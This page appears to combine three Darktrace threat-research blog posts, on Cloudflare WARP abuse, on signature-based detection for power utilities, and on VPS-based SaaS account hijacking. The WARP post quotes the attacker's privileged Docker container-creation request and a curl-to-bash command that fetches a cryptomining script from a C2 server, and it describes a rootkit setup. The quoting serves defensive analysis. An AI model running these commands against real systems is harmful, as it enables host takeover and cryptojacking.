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July 17, 2024

WARPscan: Cloudflare WARP Abused to Hijack Cloud Services

Cado Security (now a part of Darktrace) found attackers are abusing Cloudflare's WARP service, a free VPN, to launch attacks. WARP traffic often bypasses firewalls due to Cloudflare's trusted status, making it harder to detect. Campaigns like "SSWW" cryptojacking and SSH brute-forcing exploit this trust, highlighting a significant security risk for organizations.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Nate Bill
Threat Researcher
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17
Jul 2024

Researchers from Cado Security Labs (now part of Darktrace) have observed several recent campaigns making use of Cloudflare’s WARP[1] service in order to attack vulnerable internet-facing services. In this blog we will explain what Cloudflare WARP is, the implications for its use in opportunistic attacks, and provide a few case studies on real-world attacks taking advantage of WARP.

What is Cloudflare WARP?

Cloudflare WARP is effectively a Virtual Private Network (VPN) that uses Cloudflare’s international backbone to “optimize” user’s traffic. This is a free service, meaning anyone can download and use it for their own purposes. In practice, WARP just tunnels traffic to the nearest Cloudflare data center over a custom implementation of WireGuard, which they claim will speed up your connection.

Cloudflare WARP is designed to present the IP of the end user to Cloudflare CDN customers. However, attacks observed by Cado researchers exclusively connect directly to IP addresses rather than Cloudflare’s CDN, with the attacker in control of the transport and application layers. As such, it is not possible to determine the IP of the attackers.

Implications of attacks originating from WARP

Network administrators are far more likely to inherently trust or overlook traffic originating from Cloudflare’s ASN as it is not a common attack origin, and is often used in many organizations as a part of regular business operations. As a result of this, the IP ranges used by WARP may even be allowed in firewalls, and might be missed during triage of alerts by Security Operations Center (SOC) teams.

Cado Security has observed several threads on sysadmin forums, where network operators are advised to “allowlist” all of Cloudflare’s IP ranges instead of just those specific to a given service, which is a serious security risk that makes their infrastructure directly vulnerable to attackers using WARP to launch their attacks.

These factors make attacks using WARP potentially more dangerous unless an organization takes preventive action, such as educating security teams and ensuring WARP IP ranges are not included in Cloudflare related firewall rules.

Case study - SSWW mining campaign

The SSWW campaign is a novel cryptojacking campaign targeting exposed Docker which utilizes Cloudflare WARP for initial access. Based on the TLS certificate used by the C2 server, it would appear that the C2 was created on September 5, 2023. However, the first attack detected against Cado’s honeypot infrastructure was on February 21, 2024, which lines up with the dropped payload’s Last-Modified header of February 20, the day before. This is likely when the current campaign began.

IPv4 TCP (PA) 104.28.247.120:19736 -> redacted:2375 POST /containers/create 
HTTP/1.1 
Host: redacted:2375 
Accept-Encoding: identity 
User-Agent: Docker-Client/20.10.17 (linux) 
Content-Length: 245 
Content-Type: application/json 
{"Image": "61395b4c586da2b9b3b7ca903ea6a448e6783dfdd7f768ff2c1a0f3360aaba99", "Entrypoint": ["sleep", "3600"], "User": "root", "HostConfig": {"Binds": ["/:/h"], "NetworkMode": "host", "PidMode": "host", "Privileged": true, "UsernsMode": "host"}}  

The attack began with a container being created with elevated permissions, and access to the host. The image used is simply selected from images that are already available on the host, so the attacker does not have to download any new images.

The attacker then creates a Docker VND stream in order to run commands within the created container:

{"AttachStdout": true, "AttachStderr": true, "Privileged": true, "Cmd": ["chroot", "/h", "bash", "-c", "curl -k https://85[.]209.153.27:58282/ssww | bash"]}

This downloads the main SSWW script from the attacker’s command and control (C2) infrastructure and sets it running. The SSWW script is fairly straightforward and does the following set up tasks:

  • Attempts to stop “systemd” services that belong to competing miners.
  • Exits if the system is already infected by the SSWW campaign.
  • Disables “SELinux”.
  • Sets up huge pages and enables drop_caches, common XMRig optimizations
  • Downloads https://94[.]131.107.38:58282/sst, an XMRig miner with embedded config, and saves it as /var/spool/.system
  • Attempts to download and compile https://94[.]131.107.38:58282/phsd2.c, which is a simple off-the-shelf process hider designed to hide the .system process. If this fails, it will download https://94[.]131.107.38:58282/li instead. The resultant binary of either of these processes is saved to /usr/lib/libsystemd-shared-165.so
  • Adds the above to /etc/ld.so.preload such that it acts as a usermode rootkit.
  • Saves https://94[.]131.107.38:58282/aa82822, a SystemD unit file for running /var/spool/.system, to /lib/systemd/system/cdngdn.service, and then enables it.

The configuration file can be extracted out of the miner, and observe that it is using the wallet address:  44EP4MrMADSYSxmN7r2EERgqYBeB5EuJ3FBEzBrczBRZZFZ7cKotTR5airkvCm2uJ82nZHu8U3YXbDXnBviLj3er7XDnMhP on the monero ocean gulf mining pool. We can then use the mining pool’s wallet lookup feature to determine the attacker has made a total of 9.57 XMR (~£1269 at time of writing).

While using Cloudflare WARP affords the attacker a layer of anonymity, we can see the IPs the attacks originate from are consistently deriving from the Cloudflare data center in Zagreb, Croatia. As Cloudflare WARP will use the nearest data center, this suggests that the attacker’s scan server is located in Croatia. The C2 IPs on the other hand are hosted using a Netherlands-based VPS provider.

The main benefit to the attacker of using Cloudflare WARP is likely the relative anonymity afforded by WARP, as well as the reduced suspicion around traffic related to Cloudflare. It is possible that some improperly configured systems that allow all Cloudflare traffic have been compromised as a result of this, however, it is not possible to say with certainty without having access to all compromised hosts infected by the malware.

Case study - opportunistic SSH attacks

Since 2022, Cado Security has been tracking SSH attacks originating from WARP addresses. Initially these were fairly limited, however around the end of 2023 they surged to a few thousand per month. These frequently rise and fall with quite a high velocity, suggesting that the surges are the result of individual campaigns rather than a more general trend.

A screenshot of a graphAI-generated content may be incorrect.
Image 1: SSH attacks originating from WARP addresses since the end of 2023

Interestingly, a number of SSH campaigns we have seen previously originating from commonly abused VPS providers now appear to have migrated to using Cloudflare WARP. As these VPS providers are soft on abuse, it is unlikely that the purpose of this was for anonymity. Instead, the attackers are likely trying to take advantage of Cloudflare’s “clean” IP ranges (many “dirty” ranges belonging to bulletproof hosting are blocklisted, e.g. by spamhaus [2]), as well as the higher likelihood of the Cloudflare ranges being overlooked or blindly allowed in the victim’s firewall.

All of the attacks seen so far from Cloudflare WARP appear to be simple SSH brute forcing attacks, however it is alleged that the recent CVE-2024-6387 is now being exploited in the wild [3]. An attacker could perform this exploit via Cloudflare WARP in order to take advantage of overly trusting firewalls to attack organizations that may not otherwise have the vulnerable SSH server exposed.

Conclusion

The main threat posed by attackers using Cloudflare’s WARP service is the inherent trust administrators may have in traffic originating from Cloudflare, and the dangerous advice to “allow all Cloudflare IPs” being circulated online. Ensure your organization has not granted permission for 104[.]28.0.0/16 in your firewall. Follow a defense in-depth approach and additionally ensure services such as SSH have strong authentication (via SSH keys instead of passwords) and are up-to-date. Do not expose Docker to the internet, even if it is behind a firewall.

References:

[1] https://one.one.one.one/

[2] https://www.spamhaus.org/blocklists/spamhaus-blocklist/

[3] https://veriti.ai/blog/regresshion-cve-2024-6387-a-targeted-exploit-in-the-wild/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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September 4, 2025

Rethinking Signature-Based Detection for Power Utility Cybersecurity

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Lessons learned from OT cyber attacks

Over the past decade, some of the most disruptive attacks on power utilities have shown the limits of signature-based detection and reshaped how defenders think about OT security. Each incident reinforced that signatures are too narrow and reactive to serve as the foundation of defense.

2015: BlackEnergy 3 in Ukraine

According to CISA, on December 23, 2015, Ukrainian power companies experienced unscheduled power outages affecting a large number of customers — public reports indicate that the BlackEnergy malware was discovered on the companies’ computer networks.

2016: Industroyer/CrashOverride

CISA describes CrashOverride malwareas an “extensible platform” reported to have been used against critical infrastructure in Ukraine in 2016. It was capable of targeting industrial control systems using protocols such as IEC‑101, IEC‑104, and IEC‑61850, and fundamentally abused legitimate control system functionality to deliver destructive effects. CISA emphasizes that “traditional methods of detection may not be sufficient to detect infections prior to the malware execution” and recommends behavioral analysis techniques to identify precursor activity to CrashOverride.

2017: TRITON Malware

The U.S. Department of the Treasury reports that the Triton malware, also known as TRISIS or HatMan, was “designed specifically to target and manipulate industrial safety systems” in a petrochemical facility in the Middle East. The malware was engineered to control Safety Instrumented System (SIS) controllers responsible for emergency shutdown procedures. During the attack, several SIS controllers entered a failed‑safe state, which prevented the malware from fully executing.

The broader lessons

These events revealed three enduring truths:

  • Signatures have diminishing returns: BlackEnergy showed that while signatures can eventually identify adapted IT malware, they arrive too late to prevent OT disruption.
  • Behavioral monitoring is essential: CrashOverride demonstrated that adversaries abuse legitimate industrial protocols, making behavioral and anomaly detection more effective than traditional signature methods.
  • Critical safety systems are now targets: TRITON revealed that attackers are willing to compromise safety instrumented systems, elevating risks from operational disruption to potential physical harm.

The natural progression for utilities is clear. Static, file-based defenses are too fragile for the realities of OT.  

These incidents showed that behavioral analytics and anomaly detection are far more effective at identifying suspicious activity across industrial systems, regardless of whether the malicious code has ever been seen before.

Strategic risks of overreliance on signatures

  • False sense of security: Believing signatures will block advanced threats can delay investment in more effective detection methods.
  • Resource drain: Constantly updating, tuning, and maintaining signature libraries consumes valuable staff resources without proportional benefit.
  • Adversary advantage: Nation-state and advanced actors understand the reactive nature of signature defenses and design attacks to circumvent them from the start.

Recommended Alternatives (with real-world OT examples)

 Alternative strategies for detecting cyber attacks in OT
Figure 1: Alternative strategies for detecting cyber attacks in OT

Behavioral and anomaly detection

Rather than relying on signatures, focusing on behavior enables detection of threats that have never been seen before—even trusted-looking devices.

Real-world insight:

In one OT setting, a vendor inadvertently left a Raspberry Pi on a customer’s ICS network. After deployment, Darktrace’s system flagged elastic anomalies in its HTTPS and DNS communication despite the absence of any known indicators of compromise. The alerting included sustained SSL increases, agent‑beacon activity, and DNS connections to unusual endpoints, revealing a possible supply‑chain or insider risk invisible to static tools.  

Darktrace’s AI-driven threat detection aligns with the zero-trust principle of assuming the risk of a breach. By leveraging AI that learns an organization’s specific patterns of life, Darktrace provides a tailored security approach ideal for organizations with complex supply chains.

Threat intelligence sharing & building toward zero-trust philosophy

Frameworks such as MITRE ATT&CK for ICS provide a common language to map activity against known adversary tactics, helping teams prioritize detections and response strategies. Similarly, information-sharing communities like E-ISAC and regional ISACs give utilities visibility into the latest tactics, techniques, and procedures (TTPs) observed across the sector. This level of intel can help shift the focus away from chasing individual signatures and toward building resilience against how adversaries actually operate.

Real-world insight:

Darktrace’s AI embodies zero‑trust by assuming breach potential and continually evaluating all device behavior, even those deemed trusted. This approach allowed the detection of an anomalous SharePoint phishing attempt coming from a trusted supplier, intercepted by spotting subtle patterns rather than predefined rules. If a cloud account is compromised, unauthorized access to sensitive information could lead to extortion and lateral movement into mission-critical systems for more damaging attacks on critical-national infrastructure.

This reinforces the need to monitor behavioral deviations across the supply chain, not just known bad artifacts.

Defense-in-Depth with OT context & unified visibility

OT environments demand visibility that spans IT, OT, and IoT layers, supported by risk-based prioritization.

Real-world insight:

Darktrace / OT offers unified AI‑led investigations that break down silos between IT and OT. Smaller teams can see unusual outbound traffic or beaconing from unknown OT devices, swiftly investigate across domains, and get clear visibility into device behavior, even when they lack specialized OT security expertise.  

Moreover, by integrating contextual risk scoring, considering real-world exploitability, device criticality, firewall misconfiguration, and legacy hardware exposure, utilities can focus on the vulnerabilities that genuinely threaten uptime and safety, rather than being overwhelmed by CVE noise.  

Regulatory alignment and positive direction

Industry regulations are beginning to reflect this evolution in strategy. NERC CIP-015 requires internal network monitoring that detects anomalies, and the standard references anomalies 15 times. In contrast, signature-based detection is not mentioned once.

This regulatory direction shows that compliance bodies understand the limitations of static defenses and are encouraging utilities to invest in anomaly-based monitoring and analytics. Utilities that adopt these approaches will not only be strengthening their resilience but also positioning themselves for regulatory compliance and operational success.

Conclusion

Signature-based detection retains utility for common IT malware, but it cannot serve as the backbone of security for power utilities. History has shown that major OT attacks are rarely stopped by signatures, since each campaign targets specific systems with customized tools. The most dangerous adversaries, from insiders to nation-states, actively design their operations to avoid detection by signature-based tools.

A more effective strategy prioritizes behavioral analytics, anomaly detection, and community-driven intelligence sharing. These approaches not only catch known threats, but also uncover the subtle anomalies and novel attack techniques that characterize tomorrow’s incidents.

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About the author
Daniel Simonds
Director of Operational Technology

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August 21, 2025

From VPS to Phishing: How Darktrace Uncovered SaaS Hijacks through Virtual Infrastructure Abuse

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What is a VPS and how are they abused?

A Virtual Private Server (VPS) is a virtualized server that provides dedicated resources and control to users on a shared physical device.  VPS providers, long used by developers and businesses, are increasingly misused by threat actors to launch stealthy, scalable attacks. While not a novel tactic, VPS abuse is has seen an increase in Software-as-a-Service (SaaS)-targeted campaigns as it enables attackers to bypass geolocation-based defenses by mimicking local traffic, evade IP reputation checks with clean, newly provisioned infrastructure, and blend into legitimate behavior [3].

VPS providers like Hyonix and Host Universal offer rapid setup and minimal open-source intelligence (OSINT) footprint, making detection difficult [1][2]. These services are not only fast to deploy but also affordable, making them attractive to attackers seeking anonymous, low-cost infrastructure for scalable campaigns. Such attacks tend to be targeted and persistent, often timed to coincide with legitimate user activity, a tactic that renders traditional security tools largely ineffective.

Darktrace’s investigation into Hyonix VPS abuse

In May 2025, Darktrace’s Threat Research team investigated a series of incidents across its customer base involving VPS-associated infrastructure. The investigation began with a fleet-wide review of alerts linked to Hyonix (ASN AS931), revealing a noticeable spike in anomalous behavior from this ASN in March 2025. The alerts included brute-force attempts, anomalous logins, and phishing campaign-related inbox rule creation.

Darktrace identified suspicious activity across multiple customer environments around this time, but two networks stood out. In one instance, two internal devices exhibited mirrored patterns of compromise, including logins from rare endpoints, manipulation of inbox rules, and the deletion of emails likely used in phishing attacks. Darktrace traced the activity back to IP addresses associated with Hyonix, suggesting a deliberate use of VPS infrastructure to facilitate the attack.

On the second customer network, the attack was marked by coordinated logins from rare IPs linked to multiple VPS providers, including Hyonix. This was followed by the creation of inbox rules with obfuscated names and attempts to modify account recovery settings, indicating a broader campaign that leveraged shared infrastructure and techniques.

Darktrace’s Autonomous Response capability was not enabled in either customer environment during these attacks. As a result, no automated containment actions were triggered, allowing the attack to escalate without interruption. Had Autonomous Response been active, Darktrace would have automatically blocked connections from the unusual VPS endpoints upon detection, effectively halting the compromise in its early stages.

Case 1

Timeline of activity for Case 1 - Unusual VPS logins and deletion of phishing emails.
Figure 1: Timeline of activity for Case 1 - Unusual VPS logins and deletion of phishing emails.

Initial Intrusion

On May 19, 2025, Darktrace observed two internal devices on one customer environment initiating logins from rare external IPs associated with VPS providers, namely Hyonix and Host Universal (via Proton VPN). Darktrace recognized that these logins had occurred within minutes of legitimate user activity from distant geolocations, indicating improbable travel and reinforcing the likelihood of session hijacking. This triggered Darktrace / IDENTITY model “Login From Rare Endpoint While User Is Active”, which highlights potential credential misuse when simultaneous logins occur from both familiar and rare sources.  

Shortly after these logins, Darktrace observed the threat actor deleting emails referring to invoice documents from the user’s “Sent Items” folder, suggesting an attempt to hide phishing emails that had been sent from the now-compromised account. Though not directly observed, initial access in this case was likely achieved through a similar phishing or account hijacking method.

 Darktrace / IDENTITY model "Login From Rare Endpoint While User Is Active", which detects simultaneous logins from both a common and a rare source to highlight potential credential misuse.
Figure 2: Darktrace / IDENTITY model "Login From Rare Endpoint While User Is Active", which detects simultaneous logins from both a common and a rare source to highlight potential credential misuse.

Case 2

Timeline of activity for Case 2 – Coordinated inbox rule creation and outbound phishing campaign.
Figure 3: Timeline of activity for Case 2 – Coordinated inbox rule creation and outbound phishing campaign.

In the second customer environment, Darktrace observed similar login activity originating from Hyonix, as well as other VPS providers like Mevspace and Hivelocity. Multiple users logged in from rare endpoints, with Multi-Factor Authentication (MFA) satisfied via token claims, further indicating session hijacking.

Establishing control and maintaining persistence

Following the initial access, Darktrace observed a series of suspicious SaaS activities, including the creation of new email rules. These rules were given minimal or obfuscated names, a tactic often used by attackers to avoid drawing attention during casual mailbox reviews by the SaaS account owner or automated audits. By keeping rule names vague or generic, attackers reduce the likelihood of detection while quietly redirecting or deleting incoming emails to maintain access and conceal their activity.

One of the newly created inbox rules targeted emails with subject lines referencing a document shared by a VIP at the customer’s organization. These emails would be automatically deleted, suggesting an attempt to conceal malicious mailbox activity from legitimate users.

Mirrored activity across environments

While no direct lateral movement was observed, mirrored activity across multiple user devices suggested a coordinated campaign. Notably, three users had near identical similar inbox rules created, while another user had a different rule related to fake invoices, reinforcing the likelihood of a shared infrastructure and technique set.

Privilege escalation and broader impact

On one account, Darktrace observed “User registered security info” activity was shortly after anomalous logins, indicating attempts to modify account recovery settings. On another, the user reset passwords or updated security information from rare external IPs. In both cases, the attacker’s actions—including creating inbox rules, deleting emails, and maintaining login persistence—suggested an intent to remain undetected while potentially setting the stage for data exfiltration or spam distribution.

On a separate account, outbound spam was observed, featuring generic finance-related subject lines such as 'INV#. EMITTANCE-1'. At the network level, Darktrace / NETWORK detected DNS requests from a device to a suspicious domain, which began prior the observed email compromise. The domain showed signs of domain fluxing, a tactic involving frequent changes in IP resolution, commonly used by threat actors to maintain resilient infrastructure and evade static blocklists. Around the same time, Darktrace detected another device writing a file named 'SplashtopStreamer.exe', associated with the remote access tool Splashtop, to a domain controller. While typically used in IT support scenarios, its presence here may suggest that the attacker leveraged it to establish persistent remote access or facilitate lateral movement within the customer’s network.

Conclusion

This investigation highlights the growing abuse of VPS infrastructure in SaaS compromise campaigns. Threat actors are increasingly leveraging these affordable and anonymous hosting services to hijack accounts, launch phishing attacks, and manipulate mailbox configurations, often bypassing traditional security controls.

Despite the stealthy nature of this campaign, Darktrace detected the malicious activity early in the kill chain through its Self-Learning AI. By continuously learning what is normal for each user and device, Darktrace surfaced subtle anomalies, such as rare login sources, inbox rule manipulation, and concurrent session activity, that likely evade traditional static, rule-based systems.

As attackers continue to exploit trusted infrastructure and mimic legitimate user behavior, organizations should adopt behavioral-based detection and response strategies. Proactively monitoring for indicators such as improbable travel, unusual login sources, and mailbox rule changes, and responding swiftly with autonomous actions, is critical to staying ahead of evolving threats.

Credit to Rajendra Rushanth (Cyber Analyst), Jen Beckett (Cyber Analyst) and Ryan Traill (Analyst Content Lead)

References

·      1: https://cybersecuritynews.com/threat-actors-leveraging-vps-hosting-providers/

·      2: https://threatfox.abuse.ch/asn/931/

·      3: https://www.cyfirma.com/research/vps-exploitation-by-threat-actors/

Appendices

Darktrace Model Detections

•   SaaS / Compromise / Unusual Login, Sent Mail, Deleted Sent

•   SaaS / Compromise / Suspicious Login and Mass Email Deletes

•   SaaS / Resource / Mass Email Deletes from Rare Location

•   SaaS / Compromise / Unusual Login and New Email Rule

•   SaaS / Compliance / Anomalous New Email Rule

•   SaaS / Resource / Possible Email Spam Activity

•   SaaS / Unusual Activity / Multiple Unusual SaaS Activities

•   SaaS / Unusual Activity / Multiple Unusual External Sources For SaaS Credential

•   SaaS / Access / Unusual External Source for SaaS Credential Use

•   SaaS / Compromise / High Priority Login From Rare Endpoint

•   SaaS / Compromise / Login From Rare Endpoint While User Is Active

List of Indicators of Compromise (IoCs)

Format: IoC – Type – Description

•   38.240.42[.]160 – IP – Associated with Hyonix ASN (AS931)

•   103.75.11[.]134 – IP – Associated with Host Universal / Proton VPN

•   162.241.121[.]156 – IP – Rare IP associated with phishing

•   194.49.68[.]244 – IP – Associated with Hyonix ASN

•   193.32.248[.]242 – IP – Used in suspicious login activity / Mullvad VPN

•   50.229.155[.]2 – IP – Rare login IP / AS 7922 ( COMCAST-7922 )

•   104.168.194[.]248 – IP – Rare login IP / AS 54290 ( HOSTWINDS )

•   38.255.57[.]212 – IP – Hyonix IP used during MFA activity

•   103.131.131[.]44 – IP – Hyonix IP used in login and MFA activity

•   178.173.244[.]27 – IP – Hyonix IP

•   91.223.3[.]147 – IP – Mevspace Poland, used in multiple logins

•   2a02:748:4000:18:0:1:170b[:]2524 – IPv6 – Hivelocity VPS, used in multiple logins and MFA activity

•   51.36.233[.]224 – IP – Saudi ASN, used in suspicious login

•   103.211.53[.]84 – IP – Excitel Broadband India, used in security info update

MITRE ATT&CK Mapping

Tactic – Technique – Sub-Technique

•   Initial Access – T1566 – Phishing

                       T1566.001 – Spearphishing Attachment

•   Execution – T1078 – Valid Accounts

•   Persistence – T1098 – Account Manipulation

                       T1098.002 – Exchange Email Rules

•   Command and Control – T1071 – Application Layer Protocol

                       T1071.001 – Web Protocols

•   Defense Evasion – T1036 – Masquerading

•   Defense Evasion – T1562 – Impair Defenses

                       T1562.001 – Disable or Modify Tools

•   Credential Access – T1556 – Modify Authentication Process

                       T1556.004 – MFA Bypass

•   Discovery – T1087 – Account Discovery

•      Impact – T1531 – Account Access Removal

The content provided in this blog is published by Darktrace for general informational purposes only and reflects our understanding of cybersecurity topics, trends, incidents, and developments at the time of publication. While we strive to ensure accuracy and relevance, the information is provided “as is” without any representations or warranties, express or implied. Darktrace makes no guarantees regarding the completeness, accuracy, reliability, or timeliness of any information presented and expressly disclaims all warranties.

Nothing in this blog constitutes legal, technical, or professional advice, and readers should consult qualified professionals before acting on any information contained herein. Any references to third-party organizations, technologies, threat actors, or incidents are for informational purposes only and do not imply affiliation, endorsement, or recommendation.

Darktrace, its affiliates, employees, or agents shall not be held liable for any loss, damage, or harm arising from the use of or reliance on the information in this blog.

The cybersecurity landscape evolves rapidly, and blog content may become outdated or superseded. We reserve the right to update, modify, or remove any content without notice.

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About the author
Rajendra Rushanth
Cyber Analyst
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